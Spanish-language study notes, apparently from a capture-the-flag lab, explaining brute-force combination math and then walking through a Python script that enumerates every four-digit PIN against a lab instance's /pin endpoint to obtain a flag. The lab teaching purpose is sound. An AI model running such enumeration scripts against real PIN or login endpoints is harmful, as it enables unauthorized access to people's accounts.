Fuerza Bruta Simple — Matemáticas y Ataque a PIN

🧮 Matemáticas del Forzamiento Bruto

La cantidad total de combinaciones posibles de una contraseña se calcula con:

Possible Combinations = (Tamaño del Conjunto de Caracteres) ^ (Longitud de la Contraseña)

Por ejemplo:

Info

Un pequeño aumento en la longitud o tipos de caracteres incrementa exponencialmente el número de combinaciones.


📊 Comparativa de Combinaciones por Complejidad

Longitud Conjunto Combinaciones
6 Minúsculas 26⁶ = 308.915.776
8 Minúsculas 26⁸ = 208.827.064.576
8 Min+May 52⁸ = 53.459.728.531.456
12 ASCII completo 94¹² = 4.759×10²⁰

⚡ Influencia del Hardware

Cuantos más recursos (CPU/GPU/nube) tenga un atacante, más rápido podrá adivinar contraseñas.

Comparación de rendimiento:

🖥️ Computadora básica

1 millón de intentos por segundo

🧠 Supercomputadora

1 billón de intentos por segundo

Warning

Incluso con supercomputadoras, las contraseñas complejas son prácticamente irrompibles por fuerza bruta.


🔢 Ataque de Fuerza Bruta a un PIN (Caso Práctico)

La instancia genera un PIN de 4 dígitos (0000–9999) y expone el endpoint:

/pin?pin=<PIN>

Si el PIN es correcto, devuelve un mensaje + flag.

Vamos a brute forcearlo con Python.


import requests

ip = "94.237.63.174"  
port = 31675       

# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")

    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")

    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break

Este script:

  1. Prueba los 10.000 PINs posibles

  2. Envía cada uno al endpoint

  3. Detecta cuándo el servidor devuelve el flag


🧾 Ejemplo de Ejecución

python pin-solver.py

{152C9650-9DFB-4384-A73B-8CAF3800ADEC}.png

PIN encontrado 7770